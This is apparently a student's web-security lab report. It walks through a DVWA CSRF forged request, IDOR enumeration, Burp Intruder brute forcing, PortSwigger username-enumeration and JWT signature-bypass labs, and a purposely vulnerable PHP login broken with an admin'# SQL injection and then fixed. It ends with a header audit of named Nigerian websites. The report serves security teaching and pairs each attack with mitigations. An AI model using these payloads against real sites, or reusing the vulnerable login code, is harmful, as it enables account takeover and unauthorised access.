' |
Breaks out of single-quoted attribute values |
" |
" |
Breaks out of double-quoted attribute values |
Encoding these five characters prior to rendering any user-controlled data guarantees that injected content appears as plain text and cannot be interpreted as HTML or JavaScript by the browser.
4C CSRF Attack Demonstration and IDOR Exploitation
Steps
Step 1: With DVWA’s security level at Low, I opened CSRF and right-clicked the password change form to inspect its page source, noting the form’s action URL and field names.
Step 2: The form’s action URL resolved to the current page http://[target-IP]/vulnerabilities/csrf/ (denoted by #), with the method set to GET and field names password_new, password_conf, and Change.
Step 3: A file named csrf.html was created locally, embedding an <img> tag whose src attribute held the complete DVWA CSRF URL with the target password set via GET parameters (password_new=hacked&password_conf=hacked&Change=Change). Rendering the image tag causes the browser to silently dispatch the GET request.
Step 4: With the DVWA session active in one tab, csrf.html was opened in a second tab of the same browser. A broken image icon appeared on the page, indicating the request had been dispatched. Inspecting the DevTools Network tab revealed that the request to the CSRF endpoint returned a 302 Found redirect to login.php, confirming the password change was executed.
Step 5: To confirm the attack, I navigated to the DVWA Brute Force page and authenticated with username admin and password hacked. The URL displayed ?username=admin&password=hacked and the page returned “Welcome to the password protected area admin”, verifying that the password had been changed without any interaction from the victim.
Step 6: To demonstrate IDOR, the DVWA SQL Injection module was used to submit user IDs 1 through 6 sequentially in the User ID field, with each returned username recorded.
CSRF Attack Details
| Field | Value |
|---|---|
| Form action URL | http://[target-IP]/vulnerabilities/csrf/?password_new=hacked&password_conf=hacked&Change=Change# |
| Hidden field names used | password_new, password_conf, Change |
| New password set | hacked |
| Attack outcome | Password changed successfully; login with admin:hacked confirmed (302 redirect observed) |
IDOR Enumeration Results
| User ID | First Name | Surname |
|---|---|---|
| 1 | admin | admin |
| 2 | Gordon | Brown |
| 3 | Hack | Me |
| 4 | Pablo | Picasso |
| 5 | Bob | Smith |
| 6 | (no result ID does not exist) |
CSRF vs IDOR Comparison Table
| CSRF | IDOR | |
|---|---|---|
| How it works | Tricks an authenticated user’s browser into sending a forged request to a trusted site without their knowledge. The server executes the action because the session cookie is automatically included. | An attacker directly manipulates a reference (e.g. a URL parameter like ?id=2) to access objects belonging to other users, because the server doesn’t verify ownership. |
| Enabling condition | No CSRF token or SameSite cookie protection; the sensitive action uses a predictable GET/POST request that can be crafted externally. |
The application exposes direct references to internal objects (IDs, filenames) and performs no server-side authorisation check on whether the requester owns the resource. |
| Mitigation | Use unpredictable CSRF tokens tied to the user’s session; enforce SameSite=Strict or SameSite=Lax on session cookies; validate the Referer/Origin header. |
Implement server-side authorisation checks on every object access; use indirect references (e.g. mapped UUIDs) instead of sequential IDs; deny by default. |
Week 5: Authentication, Authorization, and Session Management
5A Brute-Force Login Attack with Burp Suite Intruder
Steps
Step 1: With security set to Low, I opened the Brute Force module in DVWA and launched Burp Suite with Intercept turned ON.
Step 2: Using admin for both the username and password fields, I clicked Login. Burp intercepted the request. The captured GET request was:
GET /vulnerabilities/brute/?username=admin&password=admin&Login=Login HTTP/1.1
Step 3: I right-clicked the intercepted request and chose Send to Intruder (Ctrl+I), routing it to Intruder for automated attack setup.
Step 4: Inside the Intruder Positions tab, I removed all automatically set positions, selected the password parameter value (admin), and pressed Add § to designate it as the injection point. The request updated to show password=§admin§.
Step 5: Switching to the Payloads tab, I verified the type was Simple list, then used Load… to import the fasttrack wordlists wordlist file. The list filled with 263 entries, including values such as Spring2017, Spring2021, spring2021, Summer2021, summer2021, Autumn2021, autumn2021, Fall2021, fall2021, and more.
Step 6: I clicked Start Attack and Burp Intruder proceeded to send GET requests, iterating through every password in the list. Partway through (38 of 263 complete), every response was returning status 200 with a length of 4738 or 4739.
Step 7: Once the attack finished (148 of 263 shown at the time of the screenshot), request #106 with payload password stood out — its response length of 4777 was noticeably longer than the 4739 baseline for failed logins. Opening that result and checking the Response tab revealed the text: “Welcome to the password protected area admin”.
By comparison, request #96 carrying payload testing123 had a length of 4739 and the response body read “Username and/or password incorrect.”
Step 8: This confirmed that password was the valid password for the admin account.
Attack Results
| Field | Value |
|---|---|
| Total attempts made | 263 |
| Correct password found | password |
| How correct response differed | Response length was 4777 vs baseline 4739 for failed logins (38 bytes larger); response body contained “Welcome to the password protected area admin” instead of “Username and/or password incorrect.” |
Mitigations Against Brute-Force
-
Rate Limiting: Login attempts from a single IP address should be capped within a defined time window (e.g. no more than 5 per minute). When the threshold is crossed, the server triggers a temporary block or CAPTCHA challenge, rendering automated tools like Burp Intruder prohibitively slow.
-
Account Lockout: Once a set number of consecutive failed attempts is reached (e.g. 5), the account should be locked either temporarily or permanently, requiring administrator intervention or an email reset link to restore access. This places a hard ceiling on the number of guesses an attacker can attempt, independent of attack speed.
-
Multi-Factor Authentication (MFA): Should an attacker manage to guess the correct password, MFA demands a second verification factor (e.g. a time-based one-time password from an authenticator app or an SMS code) that the attacker cannot obtain, making the compromised credential alone insufficient to gain entry.
5B PortSwigger Authentication Vulnerability Labs
Lab 1 Username Enumeration via Different Responses
| Difficulty: Apprentice | Status: Solved |
Objective
Enumerate a valid username by observing different error message wording in the login response, then brute-force the password to access the account page.
Steps
Step 1: Navigated to the lab at portswigger.net/web-security/authentication/password-based/lab-username-enumeration-via-different-responses. According to the lab description, the application is susceptible to username enumeration and password brute-force attacks using the supplied candidate wordlists.

Step 2: Went to the lab’s /login page and submitted a test set of credentials (carlos / password) to capture the resulting POST request in Burp Suite Proxy. The intercepted request body read username=carlos&password=password, confirming the login endpoint and parameter names.

Step 3: Right-clicked the intercepted POST /login request in Burp Proxy and chose Send to Intruder (Ctrl+I). Inside Intruder, the carlos value in the request body was selected and Add § was clicked to set it as the payload position, keeping the attack type as Sniper.

Step 4: In the Payloads tab, the 101-entry candidate username list (carlos, root, admin, test, guest, info, adm, mysql, user, administrator…) was pasted into the Simple list payload configuration.

Step 5: The attack was launched. As results arrived, the table was sorted by the Length column. Every failed response returned length 3352 with Invalid username in the body. One result stood apart — payload affiliate (request 40) came back with length 3354 and a response time of 191ms, distinguishing it from all other entries.

Step 6: Examining the response for affiliate revealed Incorrect password in the body rather than Invalid username. This established affiliate as a valid account. The differing error messages were disclosing account existence to any observer.
Step 7: In a new Intruder tab, the request was updated to username=affiliate&password=§password§, shifting the payload position onto the password field. The payload list was cleared and replaced with the 100-entry candidate password list (123456, password, 12345678, qwerty…).

Step 8: The password brute-force attack was started. After sorting by Length, all 200-status responses showed length 3354. A single result stood out — payload maggie (request 71) returned HTTP 302 Found with length 191, and the Location header pointed to /my-account?id=affiliate, confirming the login succeeded and a redirect occurred.

Step 9: In the browser, the lab was loaded and credentials affiliate / maggie were entered. The My Account panel appeared displaying:
Your username is: affiliate
Your email is: [email protected]
The lab banner updated to Solved.
Lab 1 Key Observation
The vulnerability is the difference in error messages:
| Condition | Message shown |
|---|---|
| Username does not exist | Invalid username |
| Username exists, wrong password | Incorrect password |
This one-word discrepancy makes it straightforward to identify valid accounts in bulk by comparing response bodies or lengths.
Lab 2 Username Enumeration via Subtly Different Responses
| Difficulty: Practitioner | Status: Solved |
Objective
The objective matches Lab 1, but here the application tries to return a consistent error message. The discrepancy is a missing trailing full stop — subtle enough that visual inspection will not catch it. Burp Intruder’s Grep-Extract technique is needed to surface the anomaly.
Steps
Step 1: Opened the Lab 2 description page for Username enumeration via subtly different responses. Compared to Lab 1 (Apprentice), this lab is rated Practitioner, indicating that the observable difference would be far less obvious.

Step 2: After accessing the lab, the /login page was loaded. Invalid credentials (admin / password) were submitted to trigger an error response. The page showed: Invalid username or password. — appearing word-for-word the same whether the username was real or not.

Step 3: The message wording was verified through Burp Proxy HTTP history — the POST /login response body consistently showed Invalid username or password. with no discernible variation. An initial Intruder attack (attack #8) was run as a baseline; all 101 responses came back with status 200 and lengths of approximately 3462–3464, with nothing distinguishable in the results table.

Step 4: A fresh POST /login request was re-intercepted (by submitting admin / password again with Intercept enabled), right-clicked, and forwarded to Intruder. The payload position was placed on the username value: username=§admin§&password=password.
Step 5: In the Payloads tab, loaded the 101-entry candidate username list.
Step 6: Before launching, navigated to Settings → Grep - Extract. Clicked Add to define a grep extraction rule. In the response preview panel, selected the text Invalid username or password (the exact warning text inside the <p class=is-warning> tag), which auto-populated:
- Start after expression:
-warning> - End at delimiter:
</p>\n
Clicking OK confirmed the rule. A new column was added to the results table displaying the exact extracted string from each response’s warning paragraph — making any difference in trailing punctuation or whitespace immediately apparent.

Step 7: The Intruder attack (attack #2) was launched. As results populated, sorting by the -warning> column showed that every entry read Invalid username or password. (with a trailing full stop). One entry broke the pattern — payload access (request 21) showed Invalid username or password (no trailing full stop), with length 3443 and response time 225ms.
Step 8: Clicking request 21 confirmed it: the extracted warning text read Invalid username or password (without the period), while every other response had Invalid username or password.. The request body showed username=access&password=password.
Step 9: The Intruder request was updated with the confirmed username: username=access&password=§password§. The payload list was cleared and the 100-entry candidate password list was loaded in its place.

Step 10: In Settings, added a Grep - Match rule with the full password wordlist entries to flag responses matching known passwords (optional signal layer).
Step 11: The password brute-force attack (attack #6) was launched. Sorting by Status code showed that all 200-status responses had length 3443 and a -warning> value of Invalid username or pass.... One result was different — payload baseball (request 12) returned HTTP 302 Found with length 188, no warning text, and Location: /my-account?id=access in the response headers.
Step 12: Inspecting request 12 showed: username=access&password=baseball, status HTTP/2 302 Found, redirect destination Location: /my-account?id=access, and a new session cookie was issued.
Step 13: The browser was used to log in with access / baseball. The My Account page loaded successfully, showing:
Your username is: access
Your email is: [email protected]
The lab banner updated to Solved.
Lab Summary
| Lab | Observable Difference | Requests Made | Valid Credentials Found |
|---|---|---|---|
| Username enumeration via different responses | Invalid username vs Incorrect password different message text visible in raw response |
101 (username) + 100 (password) | affiliate / maggie |
| Username enumeration via subtly different responses | Invalid username or password vs Invalid username or password. trailing full stop missing for valid username |
101 (username) + 100 (password) | access / baseball |
Developer Fix Standardised Error Messages
Preventing username enumeration requires the application to return an identical error message in every case, regardless of whether the supplied username actually exists. Both code paths — username not found, and username found but password incorrect — must produce response bodies that are byte-for-byte identical, down to punctuation, whitespace, and letter casing. Eliminating any variation removes the signal an attacker needs to tell the two failure states apart.
Additional hardening measures include:
- Returning the same HTTP status code for all failed login attempts (always 200, never a redirect or different code on partial match)
- Using constant-time comparison for both username lookup and password verification to prevent timing-based enumeration
- Rate-limiting login attempts per IP and per account to slow brute-force even if enumeration is somehow possible
Timing-Based Enumeration
Even when error messages are made word-for-word identical, an attacker can still identify valid usernames through response timing. For a non-existent username, the application typically short-circuits the attempt without performing any password hash computation. For a username that does exist, the application must look up the stored hash and execute a comparison (e.g. bcrypt), which is deliberately slow. The result is a measurable timing gap: responses for valid usernames arrive slightly later than those for invalid ones.
Within Burp Intruder, the Response received column captures the elapsed time in milliseconds between sending the request and receiving the first byte of the response. After running a username enumeration attack, sorting by this column exposes outliers — entries with elevated response times correspond to valid usernames that triggered the password hashing path.
The remedy is to always run the complete password hash computation, even when the username lookup returns nothing — typically by comparing against a dummy hash — so that every response takes the same amount of time regardless of whether the username is registered in the system.
5C JWT Token Inspection and Vulnerability Exploitation
Objective
The goal was to inspect, decode, and exploit JSON Web Token (JWT) vulnerabilities on a deliberately vulnerable PortSwigger Web Security Academy lab — specifically, circumventing authentication by altering the JWT payload without a valid signature, then using that elevated access to carry out an administrative action.
Tools Used
- Burp Suite Community Edition v2026.4.3
- JWT Editor (BApp Store extension Dolph Flynn, Fraser Winterborn, v2.6.1)
- jwt.io debugger
- Firefox (proxied through Burp)
Steps
Step 1: I opened portswigger.net/web-security/jwt and selected the lab titled JWT authentication bypass via unverified signature. The lab description explained that the server relies on JWT-based sessions but performs no signature verification on incoming tokens. The task was to tamper with the session token to gain access to /admin and delete the user carlos.
Step 2: I reviewed the lab description in full. The supplied credentials were wiener:peter, and the lab tip suggested getting comfortable with JWT handling in Burp Suite first. After launching the lab instance, the “We Like to Blog” homepage was presented.
Step 3: I went to the /login page and authenticated with the supplied credentials (wiener / peter) while Burp’s proxy was capturing traffic.
Step 4: Following login, I reviewed Burp’s HTTP History and located the GET /my-account?id=wiener request (HTTP 200). Selecting it and checking the Inspector panel on the right, Burp decoded the session cookie and surfaced the JWT header: {"kid": "d8725344-578b-455a-8925-243442a2eba0", "alg": "RS256"} — confirming the token is signed with RS256 (asymmetric algorithm).
Step 5: The full JWT value was copied from the session cookie and pasted into jwt.io. The debugger broke it down into:
- Header:
{ "kid": "d8725344-578b-455a-8925-243442a2eba0", "alg": "RS256" } - Payload:
{ "iss": "portswigger", "exp": 1779540319, "sub": "wiener" }
This established that the sub (subject) claim identifies the logged-in user as wiener, and that the token uses RS256 for signing.
Step 6: Returning to Burp HTTP History, I revisited the GET /my-account?id=wiener request. The Inspector panel displayed the JWT payload as {"iss":"portswigger","exp":1779540319,"sub":"wiener"} — matching what jwt.io had already decoded.
Step 7: The JWT Editor extension was installed from the BApp Store (Dolph Flynn, Fraser Winterborn v2.6.1, updated Apr 23, 2026). The extension integrates a JSON Web Token tab into Burp’s message editor, enabling signing, verification, encryption, and attack operations without leaving Burp.
Step 8: The GET /my-account?id=wiener request was forwarded to Burp Repeater. Inside the Repeater tab, the JSON Web Token tab added by JWT Editor was visible, displaying the full JWT split into its Header, Payload, and Signature components. The Information panel showed the token’s expiration as Sat May 23 2026 05:45:19 GMT-7.
Step 9: Switching to the Pretty view in Repeater confirmed the complete JWT was present in the Cookie: session= header, and the request was correctly targeting /my-account?id=wiener.
Step 10: Using the JSON Web Token tab, I edited the Payload by changing "sub": "wiener" to "sub": "administrator". The iss field was left as portswigger and exp remained untouched. The signature was kept as the original RS256 bytes — I deliberately did not re-sign the token. The central question was whether the server would accept a JWT whose payload had been tampered with and whose signature was therefore invalid.
Step 11: After making the payload edit in the JSON Web Token tab, I switched back to the Pretty view. The Inspector panel on the right decoded the relevant cookie section from Base64, showing {"iss":"portswigger","exp":1779540319,"sub":"administrator"} — confirming the change had carried through into the serialised cookie value. I clicked Apply changes.
Step 12: The modified request was sent from Repeater and the server responded with HTTP 200. Reviewing the HTTP History, the GET /my-account?id=wiener request carrying the edited JWT (shown as “1 JWTs, 0 JWEs” in the Notes column) had returned a 200 — confirming the server accepted the tampered token with no signature validation.
Step 13: A second Repeater tab was opened (Tab 2) to attempt reaching the admin endpoint by setting the JWT’s sub claim to administrator on the /my-account?id=wiener request. The JSON Web Token tab reflected the modified payload, but this approach led nowhere — accessing /my-account with a forged administrator subject does not redirect to the admin panel, as that endpoint serves individual account pages rather than administrative functions.
Step 14: Attempting the same modification again showed the Inspector decoding the payload as "sub":"administrator", but the response confirmed this route was a dead end. The raw \r\n characters visible in the Inspector’s selected text also indicated a serialisation artefact introduced by the JWT Editor at this point.
Step 15: The JWT itself was otherwise well-formed — the clean Pretty view displayed the cookie correctly and the Inspector decoded the payload without error. Since the actual target was /admin rather than /my-account, the right approach was to intercept a request bound for /admin and modify the JWT at that point.
Step 16: Burp’s Intercept was enabled and /admin was navigated to directly in the browser. A GET request to /admin was captured, carrying a fresh session JWT (with kid: 41840ea0-7254-4daf-a970-b20a0526c1f4). The payload still showed "sub": "wiener", which I changed to "administrator" before forwarding the request.
Step 17: In the JSON Web Token tab for the intercepted /admin request, "sub": "wiener" was updated to "sub": "administrator" and the request was forwarded. This was the right place to intercept — the server checks the JWT’s sub claim on the /admin route to determine whether the session holds admin privileges.
Step 18: The browser rendered /admin. A Users panel listed both wiener and carlos, each accompanied by a Delete link. The navigation bar now included an Admin panel link, confirming the server had accepted the forged token and recognised the session as belonging to an administrator. The browser’s status bar revealed the delete URL: /admin/delete?username=carlos.
Step 19: The Delete link next to carlos was clicked. Burp Intercept captured the resulting GET request to /admin/delete?username=carlos. The JSON Web Token tab for the intercepted request still showed "sub": "administrator", and the request was forwarded.
Step 20: The lab banner changed to “Congratulations, you solved the lab!” and the status badge updated from Not solved to Solved. The page body still read “Admin interface only available if logged in as an administrator”, but the lab objective — deleting carlos — had already been accomplished through the intercepted and forged request.
Step 21: With Intercept still active, a subsequent GET to /admin was made. The JWT in the JSON Web Token tab was again updated to "sub": "administrator" in the payload before forwarding, to verify that admin access persisted after the deletion.
Step 22: The /admin page loaded and displayed “User deleted successfully!” The user carlos was gone from the list, leaving only wiener. The lab was fully completed.
JWT Components Observed
| Component | Value |
|---|---|
Algorithm (alg) |
RS256 (initial); none (alg:none attack attempt) |
Key ID (kid) |
d8725344-578b-455a-8925-243442a2eba0 (first session); 41840ea0-7254-4daf-a970-b20a0526c1f4 (intercepted session) |
Issuer (iss) |
portswigger |
Subject (sub) |
wiener (original) → administrator (modified) |
Expiry (exp) |
1779540319 (approx. Sat May 23 2026 05:45–06:11 GMT-7) |
| Signature valid after modification? | No server accepted the tampered token regardless (unverified signature vulnerability) |
JWT Vulnerability Summary
| Vulnerability | Description | Impact |
|---|---|---|
| Unverified signature | The server accepts JWTs without cryptographically verifying the signature, meaning any client can tamper with the payload freely | Full authentication bypass any user can impersonate any other user, including administrators, without knowing the private key |
| alg:none attack | An attacker sets "alg": "none" in the header and removes the signature portion; some servers accept this as a valid unsigned token |
If the server honours alg:none, signature validation is completely disabled full privilege escalation with no cryptographic barrier |
| Weak secret | If a symmetric algorithm (e.g. HS256) is used with a short or guessable secret, the secret can be brute-forced offline using tools like Hashcat against a known JWT | An attacker who recovers the secret can forge arbitrary tokens that pass signature verification |
| Missing expiration | JWTs without an exp claim remain valid indefinitely once issued |
Stolen tokens never expire, giving an attacker a permanent session with no forced logout |
| Sensitive data in payload | JWT payload is only Base64-encoded, not encrypted claims such as sub, iss, and any custom fields are readable by anyone who possesses the token |
Information disclosure; internal identifiers, roles, or email addresses in the payload are exposed to any party that intercepts or receives the token |
Server-Side Sessions vs JWT Comparison Table
| Feature | Server-Side Sessions | JWT |
|---|---|---|
| Storage location | Server (database or memory); client holds only an opaque session ID | Client-side (cookie or Authorization header); server is stateless and holds no session data |
| Revocation possible | Yes server can invalidate a session ID immediately at any time | Difficult token remains valid until expiry unless the server maintains a blocklist, which reintroduces statefulness |
| Scalability | Lower every request requires a server-side lookup to validate the session ID | Higher stateless; any server node can independently validate the token without shared session storage |
| Sensitive data risk | Low the session ID is opaque and reveals nothing; all data stays on the server | Higher the payload is Base64-encoded and fully readable; must never contain secrets, passwords, or sensitive PII |
| Signature requirement | Not applicable the session ID is a random opaque reference with no cryptographic content | Essential without proper signature generation and verification, payload claims are completely untrustworthy and trivially forgeable |
Observations and Analysis
Accepting JWTs without verifying the signature — the core flaw in this lab — ranks among the most critical implementation mistakes possible in a JWT-based system. The entire security guarantee of a JWT rests on the signature. Because the three-part structure (header.payload.signature) makes the payload readable rather than secret, the signature is what makes it tamper-evident. Skipping verification removes that assurance entirely, leaving the JWT as nothing more than an unprotected claim that any client can freely fabricate.
Executing the attack demanded no cryptographic knowledge or key material — only Base64 decoding, a single text edit ("sub": "wiener" → "sub": "administrator"), and re-encoding. Burp’s JWT Editor made this straightforward through its inline payload editor, though the same result is achievable with any standard Base64 utility.
The alg:none variant (Step 23) is a related but separate issue: servers that trust the alg field in the token header and accept none as a legitimate algorithm are effectively letting clients disable signature verification on demand. This flaw originally surfaced in several JWT libraries that followed the specification too literally.
The proper fix is to hard-code the accepted algorithm on the server side and validate the signature against a key that the server controls — never allowing the incoming token to dictate which algorithm should be used.
Conclusion
The JWT authentication bypass via unverified signature on the PortSwigger Web Security Academy lab was successfully exploited. By intercepting the session cookie in Burp Suite, changing the sub claim from wiener to administrator with the JWT Editor extension, and forwarding the forged token, access to the /admin panel was obtained and the user carlos was deleted, completing the lab.
The exercise made clear that JWT security hinges entirely on rigorous server-side signature verification. A server that omits this step offers no meaningful authentication guarantee, regardless of the algorithm named in the token header. The alg:none attack structure was also observed, which takes advantage of servers that honour the header’s algorithm field and thereby accept unsigned tokens.
Lab status: Solved
Week 6: Threat Prevention Techniques and Secure Coding
6A From Vulnerable to Secure: Fixing a PHP Login Form
Overview
This lab involved building a deliberately vulnerable PHP login form, exploiting it to demonstrate the flaw, and then correcting it using prepared statements. Input validation was added as well, along with a side-by-side comparison explaining what was changed and the reasoning behind each fix.
Steps
Step 1 Writing the Vulnerable Login Script
After installing XAMPP and starting both Apache and MySQL, I created login_vulnerable.php inside C:\xampp\htdocs\ and wrote a PHP form that reads a username and password from a POST request and feeds them directly into a SQL query with zero sanitisation:

1
$query = "SELECT * FROM users WHERE username='" . $_POST['username'] . "' AND password='" . $_POST['password'] . "'";
This approach is insecure. Because user input is concatenated directly into the query string, anyone can manipulate the SQL simply by entering the right characters into the form fields.
Step 2 Setting Up the Test Database
phpMyAdmin was opened at http://localhost/phpmyadmin, a database named logindb was created, and the following SQL was run to create the users table and insert a test account:
1
2
3
4
5
6
7
8
CREATE TABLE users (
id INT AUTO_INCREMENT PRIMARY KEY,
username VARCHAR(50) NOT NULL,
password VARCHAR(50) NOT NULL
);
INSERT INTO users (username, password) VALUES ('admin', 'password123');
INSERT INTO users (username, password) VALUES ('wiener', 'peter');
A normal login with admin / password123 was then tested and succeeded, returning a green “Login Successful” message.
Step 3 Exploiting It with SQL Injection
Here is where things break down. Entering admin'# as the username with any random password and clicking Login produced an immediate successful authentication — no valid password required.
What the server actually executed was:
1
SELECT * FROM users WHERE username='admin'# AND password='anything'
In MySQL/MariaDB, # begins a comment, causing everything that follows — including the password check — to be discarded. The database simply finds a row for admin and returns it.
Note: The
admin'--payload did not function here because MariaDB requires a space after--for it to be treated as a comment. The#character serves as a cleaner alternative.
Step 4 Rewriting It with Prepared Statements
The login_vulnerable.php file was updated and the database query was rewritten using PDO prepared statements:
1
2
$stmt = $pdo->prepare('SELECT * FROM users WHERE username = :username AND password = :password');
$stmt->execute(['username' => $_POST['username'], 'password' => $_POST['password']]);
The critical change is that the query structure is established first, and user input is supplied separately as bound parameters. The database engine treats that input as raw data, so it cannot be interpreted as SQL regardless of what the user submits.
Step 5 Testing the Secure Version
The same admin'# payload was tested against login_vulnerable.php. Login was rejected, as expected.
This time the payload was handled as a literal string — the database searched for a user whose username was literally admin'#, which does not exist.
Step 6 Adding Input Validation
In addition to prepared statements, a regex check was inserted before the query is reached at all:
1
2
3
if (!preg_match('/^[a-zA-Z0-9]{1,50}$/', $_POST['username'])) {
die('Invalid username format.');
}
Any username that is not entirely alphanumeric or exceeds 50 characters is rejected outright. Characters such as ', #, -, spaces, or other special characters are blocked before the input ever reaches the database.
Vulnerable vs Secure Key Differences
| Vulnerable Code | Secure Code | What the Change Prevents |
|---|---|---|
String concatenation: "...'" . $_POST['username'] . "'" |
PDO prepared statement with named placeholder :username |
SQL injection user input can no longer manipulate the query structure |
| No input validation | preg_match('/^[a-zA-Z0-9]{1,50}$/', ...) regex check |
Malformed or suspicious input reaching the database at all |
| Raw user input in query | Input passed as bound parameter after query is compiled | Even if prepared statements had a flaw, the input is still sanitised |
| Password check bypassable via comment injection | Password always checked as a bound parameter | Authentication bypass via '-- or '# comment tricks |
| Error messages expose raw SQL | Errors handled gracefully | Information disclosure attackers can’t see the query structure |
Full Source Code
login_vulnerable.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?php
$conn = mysqli_connect("localhost", "root", "", "logindb");
mysqli_report(MYSQLI_REPORT_OFF); // disable exceptions to show failed queries
if ($_SERVER['REQUEST_METHOD'] == 'POST') {
$username = $_POST['username'];
$password = $_POST['password'];
// VULNERABLE: directly concatenating user input into SQL query
$query = "SELECT * FROM users WHERE username='" . $username . "' AND password='" . $password . "'";
$result = mysqli_query($conn, $query);
if ($result && mysqli_num_rows($result) > 0) {
echo "<h2 style='color:green'>Login Successful! Welcome, " . $username . "</h2>";
} else {
echo "<h2 style='color:red'>Login Failed!</h2>";
echo "<p>Query used: " . $query . "</p>";
}
}
?>
<!DOCTYPE html>
<html>
<head>
<title>Vulnerable Login</title>
</head>
<body>
<h1>Vulnerable Login Form</h1>
<form method="POST">
Username: <input type="text" name="username"><br><br>
Password: <input type="text" name="password"><br><br>
<input type="submit" value="Login">
</form>
</body>
</html>
login_secure.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
<?php
mysqli_report(MYSQLI_REPORT_OFF);
// Input validation BEFORE touching the database
if ($_SERVER['REQUEST_METHOD'] == 'POST') {
if (!preg_match('/^[a-zA-Z0-9]{1,50}$/', $_POST['username'])) {
die('<h2 style="color:red">Invalid username format.</h2>');
}
try {
$pdo = new PDO("mysql:host=localhost;dbname=logindb", "root", "");
$pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
// SECURE: prepared statement with named placeholders
$stmt = $pdo->prepare('SELECT * FROM users WHERE username = :username AND password = :password');
$stmt->execute([
'username' => $_POST['username'],
'password' => $_POST['password']
]);
$user = $stmt->fetch();
if ($user) {
echo "<h2 style='color:green'>Login Successful! Welcome, " . htmlspecialchars($_POST['username']) . "</h2>";
} else {
echo "<h2 style='color:red'>Login Failed!</h2>";
}
} catch (PDOException $e) {
echo "<h2 style='color:red'>Database error.</h2>";
}
}
?>
<!DOCTYPE html>
<html>
<head>
<title>Secure Login</title>
</head>
<body>
<h1>Secure Login Form</h1>
<form method="POST">
Username: <input type="text" name="username"><br><br>
Password: <input type="text" name="password"><br><br>
<input type="submit" value="Login">
</form>
</body>
</html>
What I Learned
The attack itself is elementary: insert a quote and a comment character and the login collapses. The solution becomes clear once you grasp that the root problem is combining code and data in the same string — prepared statements resolve this by keeping them entirely separate.
The admin'-- versus admin'# discrepancy was also a useful reminder that SQL comment syntax differs across database engines; what succeeds against MySQL may require adjustment for MariaDB or PostgreSQL.
6B HTTP Security Headers Audit of Nigerian Websites
⚠️ Note to readers: Do not use the same five websites listed in this report for your own submission. Select your own set of five websites across different sectors and run the analysis yourself — the learning comes from the process, not the specific sites chosen.
Steps
Step 1: Five Nigerian websites were chosen from different sectors — banking, government, e-commerce, healthcare, and education — specifically accessbankplc.com, ncc.gov.ng, konga.com, lagoonhospitals.com, and futminna.edu.ng.
Step 2: Each URL was submitted to securityheaders.com, starting with the first site, and the overall grade together with all flagged missing headers was recorded.
Step 3: The same process was repeated for all remaining four websites.
Step 4: DevTools (F12 > Network tab) was used to inspect the Response Headers for two sites — lagoonhospitals.com and konga.com — and cross-reference the securityheaders.com findings.
For lagoonhospitals.com, DevTools showed Strict-Transport-Security was present (max-age=10886400; includeSubDomains; preload), while X-Powered-By: PHP/8.3.31 and Server: Apache were both visible in the response — consistent with the D grade from securityheaders.com. No CSP, X-Frame-Options, X-Content-Type-Options, Referrer-Policy, or Permissions-Policy headers appeared in the response headers panel.
For konga.com, DevTools confirmed the presence of a full Content-Security-Policy header (a lengthy multi-domain whitelist visible in the panel), along with X-Frame-Options, X-Content-Type-Options: nosniff, and Strict-Transport-Security. The missing Referrer-Policy and Permissions-Policy were also verified. This exactly matched the A grade and the two missing headers that securityheaders.com had reported.
Security Headers Audit Table
| Website | Sector | Grade | HSTS | CSP | X-Frame-Options | X-Content-Type-Options | Referrer-Policy | Permissions-Policy |
|---|---|---|---|---|---|---|---|---|
| konga.com | E-commerce | A | Yes | Partial | Yes | Yes | No | No |
| accessbankplc.com | Banking | B | Yes | Partial | No | Yes | No | No |
| ncc.gov.ng | Government | D* | No | No | Yes | No | Yes | No |
| lagoonhospitals.com | Healthcare | D | Partial | No | No | No | No | No |
| futminna.edu.ng | Education | F | No | No | No | No | No | No |
Yes = Present No = Missing Partial = Partial implementation *
ncc.gov.ngreturned a 403 Forbidden during scanning Cloudflare blocked the security scanner. The D grade reflects only the error response headers, not necessarily the full header configuration served to real users.
accessbankplc.comCSP marked partial onlyupgrade-insecure-requestsis set; no script restrictions are defined.
konga.comCSP marked partial policy present but containsunsafe-inlineandunsafe-evalinscript-src, which significantly weakens XSS protection.
lagoonhospitals.comHSTS marked partialmax-age=10886400(~126 days) is below the recommended minimum of 31,536,000 (1 year).
DevTools Cross-Verification Summary
| Website | DevTools Confirms Grade | Key Observations |
|---|---|---|
| lagoonhospitals.com | Yes D confirmed | HSTS present but weak; PHP/8.3.31 and Apache version exposed; no CSP, X-Frame-Options, or X-Content-Type-Options visible |
| konga.com | Yes A confirmed | CSP, HSTS, X-Frame-Options, X-Content-Type-Options all visible; Referrer-Policy and Permissions-Policy absent as reported |
Risk Explanations
| Missing Header | Attack Enabled | Risk Created |
|---|---|---|
| X-Frame-Options | Clickjacking | Without this header, attackers can embed the site in a hidden iframe and trick users into clicking malicious elements while believing they are interacting with the legitimate site. |
| Content-Security-Policy | XSS (Cross-Site Scripting) | Without CSP, browsers will execute any script loaded on the page including injected malicious scripts allowing attackers to steal session tokens, redirect users, or deface the site. |
| Strict-Transport-Security | SSL stripping / MITM | Without HSTS, attackers on the same network can downgrade a user’s HTTPS connection to HTTP and intercept or modify all traffic in transit. |
| X-Content-Type-Options | MIME-sniffing attacks | Without this header, browsers may misinterpret uploaded files (e.g. treating a text file as a script) and execute malicious content that bypasses file-type restrictions. |
| Referrer-Policy | Information leakage | Without a Referrer-Policy, the full URL including sensitive query parameters such as session tokens or user IDs is sent to third-party sites whenever a user navigates away. |
| Permissions-Policy | Unauthorised hardware access | Without this header, any script running on the page including third-party or injected scripts can silently request access to the device camera, microphone, or location without user consent. |
Website Ranking (Most Secure to Least Secure)
- konga.com (A) The top-performing site among all five. HSTS, X-Frame-Options, and X-Content-Type-Options are present and correctly configured; only Referrer-Policy and Permissions-Policy are absent. The grade stops at A rather than A+ because the CSP includes
unsafe-inlineandunsafe-evalin thescript-srcdirective, weakening XSS protection despite the policy’s size. DevTools verification independently confirmed all findings. This site had the strongest overall security posture of any in the audit. - accessbankplc.com (B) HSTS is configured correctly with
